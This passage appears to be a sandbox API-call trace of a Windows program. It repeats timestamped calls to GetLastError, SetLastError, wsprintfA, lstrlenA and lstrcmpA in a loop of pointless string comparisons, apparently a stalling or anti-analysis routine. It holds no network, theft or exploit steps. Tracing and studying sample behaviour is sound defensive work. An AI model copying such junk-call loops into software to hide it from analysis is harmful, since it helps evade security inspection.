(dwErrCode=0x57) [0040.277] GetCurrentProcess () returned 0xffffffff [0040.277] GetLastError () returned 0x57 [0040.277] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="D06P") returned 4 [0040.277] SetLastError (dwErrCode=0x57) [0040.277] lstrlenA (lpString="just string") returned 11 [0040.277] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.277] GetLastError () returned 0x57 [0040.277] GetLastError () returned 0x57 [0040.277] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.277] SetLastError (dwErrCode=0x57) [0040.277] GetCurrentProcess () returned 0xffffffff [0040.277] GetLastError () returned 0x57 [0040.277] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="D38P") returned 4 [0040.277] SetLastError (dwErrCode=0x57) [0040.278] lstrlenA (lpString="just string") returned 11 [0040.278] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.278] GetLastError () returned 0x57 [0040.278] GetLastError () returned 0x57 [0040.278] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.278] SetLastError (dwErrCode=0x57) [0040.278] GetCurrentProcess () returned 0xffffffff [0040.278] GetLastError () returned 0x57 [0040.278] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="D7EP") returned 4 [0040.278] SetLastError (dwErrCode=0x57) [0040.278] lstrlenA (lpString="just string") returned 11 [0040.278] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.278] GetLastError () returned 0x57 [0040.278] GetLastError () returned 0x57 [0040.278] lstrlenA (lpString="just string") returned 11 [0040.278] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.278] GetLastError () returned 0x57 [0040.278] GetLastError () returned 0x57 [0040.278] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0040.278] SetLastError (dwErrCode=0x57) [0040.278] GetCurrentProcess () returned 0xffffffff [0040.278] GetLastError () returned 0x57 [0040.278] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="DBAP") returned 4 [0040.278] SetLastError (dwErrCode=0x57) [0040.278] lstrlenA (lpString="just string") returned 11 [0040.278] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.278] GetLastError () returned 0x57 [0040.278] GetLastError () returned 0x57 [0040.278] lstrlenA (lpString="just string") returned 11 [0040.278] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.278] GetLastError () returned 0x57 [0040.278] GetLastError () returned 0x57 [0040.278] lstrlenA (lpString="just string") returned 11 [0040.278] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.278] GetLastError () returned 0x57 [0040.278] lstrlenA (lpString="just string") returned 11 [0040.278] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.278] GetLastError () returned 0x57 [0040.278] lstrlenA (lpString="just string") returned 11 [0040.278] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.278] GetLastError () returned 0x57 [0040.278] GetLastError () returned 0x57 [0040.278] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="EDEP") returned 4 [0040.278] SetLastError (dwErrCode=0x57) [0040.278] lstrlenA (lpString="just string") returned 11 [0040.279] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.279] GetLastError () returned 0x57 [0040.279] GetLastError () returned 0x57 [0040.279] GetLastError () returned 0x57 [0040.279] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0040.279] SetLastError (dwErrCode=0x57) [0040.279] GetCurrentProcess () returned 0xffffffff [0040.279] GetLastError () returned 0x57 [0040.279] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="F22P") returned 4 [0040.279] SetLastError (dwErrCode=0x57) [0040.279] lstrlenA (lpString="just string") returned 11 [0040.279] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.279] GetLastError () returned 0x57 [0040.279] lstrlenA (lpString="just string") returned 11 [0040.279] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.279] GetLastError () returned 0x57 [0040.279] lstrlenA (lpString="just string") returned 11 [0040.279] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.279] GetLastError () returned 0x57 [0040.279] lstrlenA (lpString="just string") returned 11 [0040.279] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.279] GetLastError () returned 0x57 [0040.279] GetLastError () returned 0x57 [0040.279] GetLastError () returned 0x57 [0040.279] lstrlenA (lpString="just string") returned 11 [0040.279] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.279] GetLastError () returned 0x57 [0040.279] GetLastError () returned 0x57 [0040.279] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1014P") returned 5 [0040.279] SetLastError (dwErrCode=0x57) [0040.279] lstrlenA (lpString="just string") returned 11 [0040.279] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.279] GetLastError () returned 0x57 [0040.279] GetCurrentProcess () returned 0xffffffff [0040.279] GetLastError () returned 0x57 [0040.279] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1031P") returned 5 [0040.279] SetLastError (dwErrCode=0x57) [0040.279] lstrlenA (lpString="just string") returned 11 [0040.279] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.279] GetLastError () returned 0x57 [0040.279] lstrlenA (lpString="just string") returned 11 [0040.279] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.279] GetLastError () returned 0x57 [0040.279] GetLastError () returned 0x57 [0040.279] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.279] SetLastError (dwErrCode=0x57) [0040.279] GetCurrentProcess () returned 0xffffffff [0040.279] GetLastError () returned 0x57 [0040.279] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="106CP") returned 5 [0040.280] SetLastError (dwErrCode=0x57) [0040.280] lstrlenA (lpString="just string") returned 11 [0040.280] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.280] GetLastError () returned 0x57 [0040.280] lstrlenA (lpString="just string") returned 11 [0040.280] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.280] GetLastError () returned 0x57 [0040.280] GetLastError () returned 0x57 [0040.280] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="10AAP") returned 5 [0040.280] SetLastError (dwErrCode=0x57) [0040.280] lstrlenA (lpString="just string") returned 11 [0040.280] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.280] GetLastError () returned 0x57 [0040.280] GetLastError () returned 0x57 [0040.280] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.280] SetLastError (dwErrCode=0x57) [0040.280] GetCurrentProcess () returned 0xffffffff [0040.280] GetLastError () returned 0x57 [0040.280] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="10D0P") returned 5 [0040.280] SetLastError (dwErrCode=0x57) [0040.280] lstrlenA (lpString="just string") returned 11 [0040.280] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.280] GetLastError () returned 0x57 [0040.280] GetLastError () returned 0x57 [0040.280] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0040.280] SetLastError (dwErrCode=0x57) [0040.280] GetCurrentProcess () returned 0xffffffff [0040.280] GetLastError () returned 0x57 [0040.280] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="10EEP") returned 5 [0040.280] SetLastError (dwErrCode=0x57) [0040.280] lstrlenA (lpString="just string") returned 11 [0040.280] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.280] GetLastError () returned 0x57 [0040.280] GetCurrentProcess () returned 0xffffffff [0040.280] GetLastError () returned 0x57 [0040.280] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="112BP") returned 5 [0040.280] SetLastError (dwErrCode=0x57) [0040.280] lstrlenA (lpString="just string") returned 11 [0040.280] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.280] GetLastError () returned 0x57 [0040.280] lstrlenA (lpString="just string") returned 11 [0040.280] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.280] GetLastError () returned 0x57 [0040.280] lstrlenA (lpString="just string") returned 11 [0040.280] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.280] GetLastError () returned 0x57 [0040.281] lstrlenA (lpString="just string") returned 11 [0040.281] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.281] GetLastError () returned 0x57 [0040.281] lstrlenA (lpString="just string") returned 11 [0040.281] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.281] GetLastError () returned 0x57 [0040.281] GetLastError () returned 0x57 [0040.281] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.281] SetLastError (dwErrCode=0x57) [0040.281] GetCurrentProcess () returned 0xffffffff [0040.281] GetLastError () returned 0x57 [0040.281] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="11D4P") returned 5 [0040.281] SetLastError (dwErrCode=0x57) [0040.281] lstrlenA (lpString="just string") returned 11 [0040.281] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.281] GetLastError () returned 0x57 [0040.281] lstrlenA (lpString="just string") returned 11 [0040.281] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.281] GetLastError () returned 0x57 [0040.281] GetLastError () returned 0x57 [0040.281] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="121CP") returned 5 [0040.281] SetLastError (dwErrCode=0x57) [0040.281] lstrlenA (lpString="just string") returned 11 [0040.281] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.281] GetLastError () returned 0x57 [0040.281] lstrlenA (lpString="just string") returned 11 [0040.281] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.281] GetLastError () returned 0x57 [0040.281] GetLastError () returned 0x57 [0040.281] lstrlenA (lpString="just string") returned 11 [0040.281] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.281] GetLastError () returned 0x57 [0040.281] GetLastError () returned 0x57 [0040.281] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0040.281] SetLastError (dwErrCode=0x57) [0040.281] GetCurrentProcess () returned 0xffffffff [0040.281] GetLastError () returned 0x57 [0040.281] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="12D8P") returned 5 [0040.281] SetLastError (dwErrCode=0x57) [0040.281] lstrlenA (lpString="just string") returned 11 [0040.281] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.281] GetLastError () returned 0x57 [0040.281] GetLastError () returned 0x57 [0040.281] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.281] SetLastError (dwErrCode=0x57) [0040.281] GetCurrentProcess () returned 0xffffffff [0040.281] GetLastError () returned 0x57 [0040.282] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="12E2P") returned 5 [0040.282] SetLastError (dwErrCode=0x57) [0040.282] lstrlenA (lpString="just string") returned 11 [0040.282] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.282] GetLastError () returned 0x57 [0040.282] lstrlenA (lpString="just string") returned 11 [0040.282] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.282] GetLastError () returned 0x57 [0040.282] GetCurrentProcess () returned 0xffffffff [0040.282] GetLastError () returned 0x57 [0040.282] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1347P") returned 5 [0040.282] SetLastError (dwErrCode=0x57) [0040.282] lstrlenA (lpString="just string") returned 11 [0040.282] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.282] GetLastError () returned 0x57 [0040.282] lstrlenA (lpString="just string") returned 11 [0040.282] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.282] GetLastError () returned 0x57 [0040.282] lstrlenA (lpString="just string") returned 11 [0040.282] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.282] GetLastError () returned 0x57 [0040.282] lstrlenA (lpString="just string") returned 11 [0040.282] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.282] GetLastError () returned 0x57 [0040.282] GetLastError () returned 0x57 [0040.282] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1410P") returned 5 [0040.282] SetLastError (dwErrCode=0x57) [0040.282] lstrlenA (lpString="just string") returned 11 [0040.282] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.282] GetLastError () returned 0x57 [0040.282] GetLastError () returned 0x57 [0040.282] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0040.282] SetLastError (dwErrCode=0x57) [0040.282] GetCurrentProcess () returned 0xffffffff [0040.282] GetLastError () returned 0x57 [0040.282] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="144AP") returned 5 [0040.282] SetLastError (dwErrCode=0x57) [0040.282] lstrlenA (lpString="just string") returned 11 [0040.282] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.282] GetLastError () returned 0x57 [0040.282] lstrlenA (lpString="just string") returned 11 [0040.282] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.282] GetLastError () returned 0x57 [0040.282] lstrlenA (lpString="just string") returned 11 [0040.282] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.282] GetLastError () returned 0x57 [0040.282] lstrlenA (lpString="just string") returned 11 [0040.282] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.283] GetLastError () returned 0x57 [0040.283] lstrlenA (lpString="just string") returned 11 [0040.283] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.283] GetLastError () returned 0x57 [0040.283] GetCurrentProcess () returned 0xffffffff [0040.283] GetLastError () returned 0x57 [0040.283] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1563P") returned 5 [0040.283] SetLastError (dwErrCode=0x57) [0040.283] lstrlenA (lpString="just string") returned 11 [0040.283] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.283] GetLastError () returned 0x57 [0040.283] lstrlenA (lpString="just string") returned 11 [0040.283] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.283] GetLastError () returned 0x57 [0040.283] GetCurrentProcess () returned 0xffffffff [0040.283] GetLastError () returned 0x57 [0040.283] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="15BDP") returned 5 [0040.283] SetLastError (dwErrCode=0x57) [0040.283] lstrlenA (lpString="just string") returned 11 [0040.283] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.283] GetLastError () returned 0x57 [0040.283] GetLastError () returned 0x57 [0040.283] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="15FAP") returned 5 [0040.283] SetLastError (dwErrCode=0x57) [0040.283] lstrlenA (lpString="just string") returned 11 [0040.283] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.283] GetLastError () returned 0x57 [0040.283] lstrlenA (lpString="just string") returned 11 [0040.283] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.283] GetLastError () returned 0x57 [0040.283] GetCurrentProcess () returned 0xffffffff [0040.283] GetLastError () returned 0x57 [0040.283] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1635P") returned 5 [0040.283] SetLastError (dwErrCode=0x57) [0040.283] lstrlenA (lpString="just string") returned 11 [0040.283] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.283] GetLastError () returned 0x57 [0040.283] lstrlenA (lpString="just string") returned 11 [0040.283] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.283] GetLastError () returned 0x57 [0040.283] lstrlenA (lpString="just string") returned 11 [0040.283] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.283] GetLastError () returned 0x57 [0040.283] lstrlenA (lpString="just string") returned 11 [0040.283] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.283] GetLastError () returned 0x57 [0040.283] GetLastError () returned 0x57 [0040.283] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0040.283] SetLastError (dwErrCode=0x57) [0040.283] GetCurrentProcess () returned 0xffffffff [0040.283] GetLastError () returned 0x57 [0040.284] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="16C0P") returned 5 [0040.284] SetLastError (dwErrCode=0x57) [0040.284] lstrlenA (lpString="just string") returned 11 [0040.284] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.284] GetLastError () returned 0x57 [0040.284] GetLastError () returned 0x57 [0040.284] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.284] SetLastError (dwErrCode=0x57) [0040.284] GetCurrentProcess () returned 0xffffffff [0040.284] GetLastError () returned 0x57 [0040.284] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="16DEP") returned 5 [0040.284] SetLastError (dwErrCode=0x57) [0040.284] lstrlenA (lpString="just string") returned 11 [0040.284] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.284] GetLastError () returned 0x57 [0040.284] lstrlenA (lpString="just string") returned 11 [0040.284] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.284] GetLastError () returned 0x57 [0040.284] lstrlenA (lpString="just string") returned 11 [0040.284] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.284] GetLastError () returned 0x57 [0040.284] lstrlenA (lpString="just string") returned 11 [0040.284] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.284] GetLastError () returned 0x57 [0040.284] lstrlenA (lpString="just string") returned 11 [0040.284] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.284] GetLastError () returned 0x57 [0040.284] GetLastError () returned 0x57 [0040.284] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.284] SetLastError (dwErrCode=0x57) [0040.284] GetCurrentProcess () returned 0xffffffff [0040.284] GetLastError () returned 0x57 [0040.284] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="17D8P") returned 5 [0040.284] SetLastError (dwErrCode=0x57) [0040.284] lstrlenA (lpString="just string") returned 11 [0040.284] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.284] GetLastError () returned 0x57 [0040.284] GetLastError () returned 0x57 [0040.284] lstrlenA (lpString="just string") returned 11 [0040.284] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.284] GetLastError () returned 0x57 [0040.284] lstrlenA (lpString="just string") returned 11 [0040.284] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.284] GetLastError () returned 0x57 [0040.285] GetLastError () returned 0x57 [0040.285] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0040.285] SetLastError (dwErrCode=0x57) [0040.285] GetCurrentProcess () returned 0xffffffff [0040.285] GetLastError () returned 0x57 [0040.285] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="186EP") returned 5 [0040.285] SetLastError (dwErrCode=0x57) [0040.285] lstrlenA (lpString="just string") returned 11 [0040.285] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.285] GetLastError () returned 0x57 [0040.285] GetCurrentProcess () returned 0xffffffff [0040.285] GetLastError () returned 0x57 [0040.285] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1879P") returned 5 [0040.285] SetLastError (dwErrCode=0x57) [0040.285] lstrlenA (lpString="just string") returned 11 [0040.285] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.285] GetLastError () returned 0x57 [0040.285] GetLastError () returned 0x57 [0040.285] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.285] SetLastError (dwErrCode=0x57) [0040.285] GetCurrentProcess () returned 0xffffffff [0040.285] GetLastError () returned 0x57 [0040.285] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="18AAP") returned 5 [0040.285] SetLastError (dwErrCode=0x57) [0040.285] lstrlenA (lpString="just string") returned 11 [0040.285] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.285] GetLastError () returned 0x57 [0040.285] lstrlenA (lpString="just string") returned 11 [0040.285] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.285] GetLastError () returned 0x57 [0040.285] GetCurrentProcess () returned 0xffffffff [0040.285] GetLastError () returned 0x57 [0040.285] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="18F1P") returned 5 [0040.285] SetLastError (dwErrCode=0x57) [0040.285] lstrlenA (lpString="just string") returned 11 [0040.285] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.285] GetLastError () returned 0x57 [0040.285] lstrlenA (lpString="just string") returned 11 [0040.285] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.285] GetLastError () returned 0x57 [0040.285] lstrlenA (lpString="just string") returned 11 [0040.285] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.285] GetLastError () returned 0x57 [0040.285] GetLastError () returned 0x57 [0040.285] lstrlenA (lpString="just string") returned 11 [0040.285] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.285] GetLastError () returned 0x57 [0040.286] lstrlenA (lpString="just string") returned 11 [0040.286] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.286] GetLastError () returned 0x57 [0040.286] lstrlenA (lpString="just string") returned 11 [0040.286] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.286] GetLastError () returned 0x57 [0040.286] GetCurrentProcess () returned 0xffffffff [0040.286] GetLastError () returned 0x57 [0040.286] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="19EBP") returned 5 [0040.286] SetLastError (dwErrCode=0x57) [0040.286] lstrlenA (lpString="just string") returned 11 [0040.286] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.286] GetLastError () returned 0x57 [0040.286] GetCurrentProcess () returned 0xffffffff [0040.286] GetLastError () returned 0x57 [0040.286] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1A27P") returned 5 [0040.286] SetLastError (dwErrCode=0x57) [0040.286] lstrlenA (lpString="just string") returned 11 [0040.286] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.286] GetLastError () returned 0x57 [0040.286] GetLastError () returned 0x57 [0040.286] lstrlenA (lpString="just string") returned 11 [0040.286] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.286] GetLastError () returned 0x57 [0040.286] GetLastError () returned 0x57 [0040.286] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0040.286] SetLastError (dwErrCode=0x57) [0040.286] GetCurrentProcess () returned 0xffffffff [0040.286] GetLastError () returned 0x57 [0040.286] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1AE4P") returned 5 [0040.286] SetLastError (dwErrCode=0x57) [0040.286] lstrlenA (lpString="just string") returned 11 [0040.286] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.286] GetLastError () returned 0x57 [0040.286] lstrlenA (lpString="just string") returned 11 [0040.286] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.286] GetLastError () returned 0x57 [0040.286] lstrlenA (lpString="just string") returned 11 [0040.286] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.286] GetLastError () returned 0x57 [0040.286] lstrlenA (lpString="just string") returned 11 [0040.286] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.286] GetLastError () returned 0x57 [0040.286] GetLastError () returned 0x57 [0040.286] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.286] SetLastError (dwErrCode=0x57) [0040.286] GetCurrentProcess () returned 0xffffffff [0040.287] GetLastError () returned 0x57 [0040.287] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1B70P") returned 5 [0040.287] SetLastError (dwErrCode=0x57) [0040.287] lstrlenA (lpString="just string") returned 11 [0040.287] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.287] GetLastError () returned 0x57 [0040.287] lstrlenA (lpString="just string") returned 11 [0040.287] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.287] GetLastError () returned 0x57 [0040.287] GetLastError () returned 0x57 [0040.287] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.287] SetLastError (dwErrCode=0x57) [0040.287] GetCurrentProcess () returned 0xffffffff [0040.287] GetLastError () returned 0x57 [0040.287] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1BB6P") returned 5 [0040.287] SetLastError (dwErrCode=0x57) [0040.287] lstrlenA (lpString="just string") returned 11 [0040.287] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.287] GetLastError () returned 0x57 [0040.287] GetLastError () returned 0x57 [0040.287] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.287] SetLastError (dwErrCode=0x57) [0040.287] GetCurrentProcess () returned 0xffffffff [0040.287] GetLastError () returned 0x57 [0040.287] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1BCAP") returned 5 [0040.287] SetLastError (dwErrCode=0x57) [0040.287] lstrlenA (lpString="just string") returned 11 [0040.287] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.287] GetLastError () returned 0x57 [0040.287] lstrlenA (lpString="just string") returned 11 [0040.287] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.287] GetLastError () returned 0x57 [0040.287] lstrlenA (lpString="just string") returned 11 [0040.287] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.287] GetLastError () returned 0x57 [0040.287] lstrlenA (lpString="just string") returned 11 [0040.287] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.287] GetLastError () returned 0x57 [0040.287] GetLastError () returned 0x57 [0040.287] lstrlenA (lpString="just string") returned 11 [0040.287] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.287] GetLastError () returned 0x57 [0040.287] lstrlenA (lpString="just string") returned 11 [0040.287] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.287] GetLastError () returned 0x57 [0040.287] lstrlenA (lpString="just string") returned 11 [0040.287] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.287] GetLastError () returned 0x57 [0040.288] GetLastError () returned 0x57 [0040.288] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.288] SetLastError (dwErrCode=0x57) [0040.288] GetCurrentProcess () returned 0xffffffff [0040.288] GetLastError () returned 0x57 [0040.288] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1C7EP") returned 5 [0040.288] SetLastError (dwErrCode=0x57) [0040.288] lstrlenA (lpString="just string") returned 11 [0040.288] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.288] GetLastError () returned 0x57 [0040.288] GetLastError () returned 0x57 [0040.288] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0040.288] SetLastError (dwErrCode=0x57) [0040.288] GetCurrentProcess () returned 0xffffffff [0040.288] GetLastError () returned 0x57 [0040.288] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1C88P") returned 5 [0040.288] SetLastError (dwErrCode=0x57) [0040.288] lstrlenA (lpString="just string") returned 11 [0040.288] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.288] GetLastError () returned 0x57 [0040.288] lstrlenA (lpString="just string") returned 11 [0040.288] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.288] GetLastError () returned 0x57 [0040.288] lstrlenA (lpString="just string") returned 11 [0040.288] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.288] GetLastError () returned 0x57 [0040.288] lstrlenA (lpString="just string") returned 11 [0040.288] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.288] GetLastError () returned 0x57 [0040.288] GetLastError () returned 0x57 [0040.288] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.288] SetLastError (dwErrCode=0x57) [0040.288] GetCurrentProcess () returned 0xffffffff [0040.288] GetLastError () returned 0x57 [0040.288] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1D6EP") returned 5 [0040.288] SetLastError (dwErrCode=0x57) [0040.288] lstrlenA (lpString="just string") returned 11 [0040.288] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.288] GetLastError () returned 0x57 [0040.288] GetCurrentProcess () returned 0xffffffff [0040.288] GetLastError () returned 0x57 [0040.288] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1DABP") returned 5 [0040.288] SetLastError (dwErrCode=0x57) [0040.288] lstrlenA (lpString="just string") returned 11 [0040.288] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.288] GetLastError () returned 0x57 [0040.289] lstrlenA (lpString="just string") returned 11 [0040.289] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.289] GetLastError () returned 0x57 [0040.289] lstrlenA (lpString="just string") returned 11 [0040.289] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.289] GetLastError () returned 0x57 [0040.289] GetCurrentProcess () returned 0xffffffff [0040.289] GetLastError () returned 0x57 [0040.289] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1DE7P") returned 5 [0040.289] SetLastError (dwErrCode=0x57) [0040.289] lstrlenA (lpString="just string") returned 11 [0040.289] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.289] GetLastError () returned 0x57 [0040.289] lstrlenA (lpString="just string") returned 11 [0040.289] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.289] GetLastError () returned 0x57 [0040.289] GetLastError () returned 0x57 [0040.289] GetCurrentProcess () returned 0xffffffff [0040.289] GetLastError () returned 0x57 [0040.289] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1E55P") returned 5 [0040.289] SetLastError (dwErrCode=0x57) [0040.289] lstrlenA (lpString="just string") returned 11 [0040.289] lstrcmpA (lpString1="face", lpString2="book") returned 1 